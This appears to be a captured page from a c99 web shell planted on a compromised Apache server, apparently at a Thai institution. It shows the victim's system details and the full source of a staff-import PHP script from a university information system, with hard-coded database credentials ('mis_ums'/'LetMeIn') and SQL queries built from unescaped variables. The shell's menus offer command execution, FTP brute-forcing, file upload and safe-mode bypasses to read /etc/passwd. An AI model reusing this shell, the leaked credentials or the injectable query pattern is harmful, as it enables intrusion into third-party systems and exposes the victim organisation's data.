!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/ums/   drwxr-xr-x
Free 40.52 GB of 127.8 GB (31.71%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     importPerson.php (9.14 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
//ini_set('display_errors',1);
include_once "pagebody.php";
pageHeader();
$pageTitle="นำเข้าข้อมูลบุคลากร";
?>
<table width=100% class="pageTitleBgColor" align="center">
<tr><td align=center><? echo $pageTitle?></td></tr>
</table>
<!--your code here-------------------------------------------------------------------------->
<p align=center>
<br>
<table width=70% border=1 cellpadding=3 cellspacing=0 align=center>
<tr bgcolor=#FFFFCC>
    <th>โปรดอ่าน</th>
</tr>
<tr>
    <td>
    <li>การนำเข้าข้อมูลบุคลากรนี้จะเป็นการนำข้อมูลบุคลากรที่จำเป็นในการเข้าสู่ระบบสารสนเทศจากระบบบุคลากร เข้าสู่ระบบ UMS และนำข้อมูลบุคลากรที่เกี่ยวข้องกับระบบทะเบียนเข้าสู่ระบบทะเบียน 
    <li>ข้อมูลของบุคลากรที่จะต้องกำหนดให้กับบุคลากรทุกคนคือ <b>สายงาน</b> และ <b>งานที่ได้รับมอบหมาย</b> ซึ่งจะมีผลต่อการนำเข้าข้อมูลบุคลากรสู่ระบบทะเบียนและประมวลผล
    <li>ถ้าข้อมูลบุคลากรมีอยู่ในระบบ UMS และ จะไม่ถูกนำเข้าอีก
    <li>ถ้าต้องการจัดการข้อมูลผู้ใช้ หรือกำหนดสิทธิ์การใช้งาน ให้เลือกเมนู ข้อมูลผู้ใช้/ข้อมูลผู้ใช้งานระบบ-กำหนดสิทธิ์
    </td>
</tr>
</table>

<form name="form1" method=post>
<table  cellpadding=3 cellspacing=0 align=center>
<tr align=center valign=top><td>
    <table boder align=center>
    <caption align="left"><b>ระบบบุคลากร</b></caption>
        <tr><td>Database Server</td><td><input type="text" name="dbHost" value="<? echo (isset($dbHost))?$dbHost:'localhost'?>"></td></tr>
        <tr><td>    Database Name</td><td><input type="text" name="dbName" value="<? echo (isset($dbName))?$dbName:'peoplecenter';?>"></td></tr>
        <tr><td>    User name</td><td><input type="text" name="dbUserName" value="<? echo (isset($dbUserName))?$dbUserName:'mis_ums';?>"><br></td></tr>
        <tr><td>    Password</td><td><input type="password" name="dbPassword" value="<? echo (isset($dbPassword))?$dbPassword:'LetMeIn';?>"><br></td></tr>
    </table>
</td><td>
    <table boder align=center>
    <caption align="left"><b>ระบบทะเบียนและประมวลผล</b></caption>
        <tr><td>Database Server</td><td><input type="text" name="dbHostReg" value="<? echo (isset($dbHostReg))?$dbHostReg:'localhost'?>"></td></tr>
        <tr><td>    Database Name</td><td><input type="text" name="dbNameReg" value="<? echo (isset($dbNameReg))?$dbNameReg:'regist';?>"></td></tr>
        <tr><td>    User name</td><td><input type="text" name="dbUserNameReg" value="<? echo (isset($dbUserNameReg))?$dbUserNameReg:'mis_ums';?>"><br></td></tr>
        <tr><td>    Password</td><td><input type="password" name="dbPasswordReg" value="<? echo (isset($dbPasswordReg))?$dbPasswordReg:'LetMeIn';?>"><br></td></tr>
        <tr><td colspan="2" align=center><br><input type="hidden"name="method" value="import"></td></tr>
    </table>
</td></tr>
<tr><td colspan=2 align=center><input type="submit" value="นำเข้าข้อมูลบุคลากร"></td></tr>
</table>
</form>
</p>
<?
if ($method=="import"){
    include_once(
"clsUser.php");
    include_once(
"clsUmUser.php");
    include_once(
"clsPersonT.php");
    include_once(
"clsOfficer.php");
    include_once(
"clsReg_EregisConfig.php");
    include_once(
"clsPersonout.php");

    
$oCp = new clsConnection($dbHost$dbName$dbUserName$dbPassword);
    
$oC = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB'], $GLOBALS['USER'], $GLOBALS['PASSWORD']);
    
//$oCr = new clsConnection($dbHostReg, $dbNameReg, $dbUserNameReg, $dbPasswordReg);

    //$oUs = new clsUser();

    
$oPs = new PersonT($oCp);
    
$oPso = new Personout($oCp);
    
//$oOf = new Officer($oCr);
    
echo "<table width=100% border><tr valign=top><td>";
    
$oPs->RSperson();
    
$oUm = new umuser($oC);
    
$oC->BeginTrans();
    echo 
"นำเข้าข้อมูลจากระบบบุคลากร -> UMS";
    echo 
"<table align=center cellpadding=2 width=100%>\n";
    echo 
"<tr bgcolor=#CCCCCC><th>#</th><th>บุคลากร</th><th>ดำเนินการ</th></tr>\n";
    
$i=1;
    while (
$oPs->GetRecord()){        //อ่านทุกคนจาก บุคลากร
        
$s "<tr><td align=center>$i</td><td>$oPs->personCode $oPs->personName</td><td>";
        
$i++;
        
//$oUm->SearchByPsCodeWg($oPs->personId, 4);
        
$oUm->SearchByPsCode($oPs->personId);
        if (!
$oUm->GetRecord()){    //ถ้าไม่มีใน um
            
if ($oPs->fStatus==1){    //สถานะ อยู่
                
$oU->addNewUser($oPs->personId
                                
$oPs->personName
                                
4, -1
                                
$oPs->personCode,
                                
$oPs->personCode);
                
$s.= "<font color=#339900>เพิ่มใหม่</font> ";
            }
        }else{ 
//มีใน um
            
if ($oPs->fStatus==1){    //สถานะ อยู่
                
$sql "update umuser set 
                            UsActive=1 
                            where UsPsCode='$oPs->personId'"
;    
                
$oC->Execute($sql);
                
$s.= "<font color=#0000FF>ปรับปรุงสถานะเป็น active</font>";
            }
            else if (
$oPs->fStatus==&& $oPs->fRetire==8){    //สถานะเกษียณ
                
$sql "update umuser set 
                            UsActive=1 
                            where UsPsCode='$oPs->personId'"
;    
                
$oC->Execute($sql);
                
$s.= "<font color=#0000FF>ปรับปรุงสถานะเป็น active</font>";
            }
            else{ 
//สถานะ ไม่อยู่   ออก  
                
$sql "update umuser set  
                            UsActive=0 
                            where UsPsCode='$oPs->personId'"
;    
                
$oC->Execute($sql);
                
$s.= "<font color=#666666>ปรับปรุงสถานะเป็น No active</font>";
            }
        }
        
$s.= "</td></tr>\n";
        echo 
$s;
    } 
//while


    // *********************** นำเข้าบุคคลภายนอก *********************
    
$oPso->RSPersonouByTypeSpe();
    
$oC->BeginTrans();
    
$i=1;
    while (
$oPso->GetRecord()){
        
$s "<tr><td align=center>$i</td><td>$oPso->fName $oPso->lName</td><td>";
        
$i++;
        
$oUm->SearchByPsCode('psout'.$oPso->psoutId);
        if (!
$oUm->GetRecord()){    //ถ้าไม่มีใน um
            
$oU->addNewUser('psout'.$oPso->psoutId
                            
$oPso->fName.' '.$oPso->lName
                            
5,
                            
70
                            
'psout'.$oPso->psoutId,
                            
'psout'.$oPso->psoutId);
            
$s.= "<font color=#339900>เพิ่มใหม่</font>";
        }
        
$s.= "</td></tr>\n";
        echo 
$s;
    } 
//while

    
echo "</table>\n";
    echo 
"<hr><p align=center>ปรับปรุงข้อมูลบุคลากร<br />เข้าสู่ระบบ UMS เรียบร้อย</p><hr>";
    
$oC->CommitTrans();
    echo 
"</td><td>";
    
//----------------------------------------------------------------------------------------------
    //update to regist เฉพาะเจ้าหน้าที่ที่ได้สิทธิ์ในระบบทะเบียน 
    //$oCr->BeginTrans();
    
    
if($dbHostReg && $dbNameReg && $dbUserNameReg && $dbPasswordReg){
        
$oCr = new clsConnection($dbHostReg$dbNameReg$dbUserNameReg$dbPasswordReg);
        
$oCfg = new EregisConfig($oCr);
        
$oCfg->RSEregisConfig();
        if(
$oCfg->GetRecord() && $oCfg->cfgCheckPP=="Y"){
            echo 
"นำเข้าข้อมูลจากระบบ UMS -> ระบบทะเบียน";
            echo 
"<table align=center cellpadding=2 width=100%>\n";
            echo 
"<tr bgcolor=#CCCCCC><th>#</th><th>บุคลากร</th></tr>\n";
            
$i=1;
            
$s="";
            
$oUm->RSUserBySt(70);            //คนที่ถูกกำหนดให้มีสิทธิ์ในระบบทะเบียน เจ้าหน้าทีท่ อาจารย์
            
while($oUm->GetRecord()){
                
$oPs->personCode "";
                
                
$oCp = new clsConnection($dbHost$dbName$dbUserName$dbPassword);
                
$oPs = new PersonT($oCp);
                
$oPs->SearchByKey($oUm->UsPsCode);        //search by personId(UsPsCode)
                
$oPs->GetRecord();

                
$oCr = new clsConnection($dbHostReg$dbNameReg$dbUserNameReg$dbPasswordReg);
                
$oOf = new Officer($oCr);
                
$oOf->SearchByOfficerCode($oPs->personCode);            //หาตาม personId
                
if (!$oOf->GetRecord()){                                //ยังไม่มีในระบบทะเบียน
                    
if ($oPs->assignId==0){
                        
$s.= "<tr><td align=center>$i</td><td>ยังไม่ได้กำหนด <b>งานที่ได้รับมอบหมาย</b> ให้แก่ $oPs->personCode :: $oPs->fName $oPs->lName</td></tr>";
                        
$i++;
                    }else{
                        if(
$oPs->personCode && $oUm->UsActive) {
                            
$oOf->AddNew();
                            if (
$oPs->assignId==or $oPs->assignId==or $oPs->assignId==or $oPs->assignId==4) {    
                                if (
$oPs->majortypeId==1)                    //สายสอน เช็คจากบุคลากร Majortype.majortypeId
                                    
$oOf->officerType="4";                    //อาจารย์
                                
else
                                    
$oOf->officerType="5";                    //เจ้าหน้าที่
                            
                                
$oOf->remark="-";
                                
$oOf->contactAddress="-";
                                
$oOf->contactPhone="-";
                                
$oOf->organId="NULL";
                                
$oOf->debtUDAuthority="N";
                                
$oOf->officerPosition="-";
                                
$oOf->ofSitId="1";
                                
$oOf->officerId$oPs->personId;
                                
$oOf->Save();

                                
$s.= "<tr><td align=center>$i</td><td>Add $oPs->personCode :: $oPs->fName $oPs->lName to Regist.</td></tr>";
                            }
                            
$i++;
                        }
                    }
                }else{                
//มีในระบบทะเบียนแล้ว
                    
if($oPs->personCode) {
                        
$s.= "<tr><td align=center>$i</td><td>$oPs->personCode :: $oPs->fName $oPs->lName already exists.</td></tr>";
                        
$i++;
                    }
                }
            }

            
$oCp = new clsConnection($dbHost$dbName$dbUserName$dbPassword);
            
$oPso = new Personout($oCp);
            
$oPso->RSPersonouByTypeSpe();

            while(
$oPso->GetRecord()){
                
$oOf->SearchByPrsUsIdAndTypeSpe($oPso->psoutId);
                if(!
$oOf->GetRecord()) {
                    
$oOf->AddNew();
                    
$oOf->officerType="4";                    //อาจารย์
                    
$oOf->remark="-";
                    
$oOf->contactAddress="-";
                    
$oOf->contactPhone="-";
                    
$oOf->organId="NULL";
                    
$oOf->debtUDAuthority="N";
                    
$oOf->officerPosition="-";
                    
$oOf->ofSitId="2";
                    
$oOf->officerId$oPso->psoutId;
                    
$oOf->Save();

                    
$s.= "<tr><td align=center>$i</td><td>Add $oPso->fName $oPso->lName to Regist.</td></tr>";
                } else {
                    
$s.= "<tr><td align=center>$i</td><td>$oPso->fName $oPso->lName already exists.</td></tr>";
                }

                
$i++;
            }

            
$s.="</table>\n";
            echo 
$s;
            echo 
"<hr><p align=center>ปรับปรุงข้อมูลบุคลากร<br />เข้าสู่ระบบทะเบียนและประมวลผล เรียบร้อย</p><hr>";
            
//$oCr->CommitTrans();
            
echo "</td></tr></table>";
        } 
// end if cfgCheckPP
    
// end if $dbHost, $dbName, $dbUserName, $dbPassword
}
?>

<!--------------------------------------------------------------------->
<? 
pageFooter
(); 
?>
<!--------------------------------------------------------------------->
<!--put javascript here-->

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.017 ]--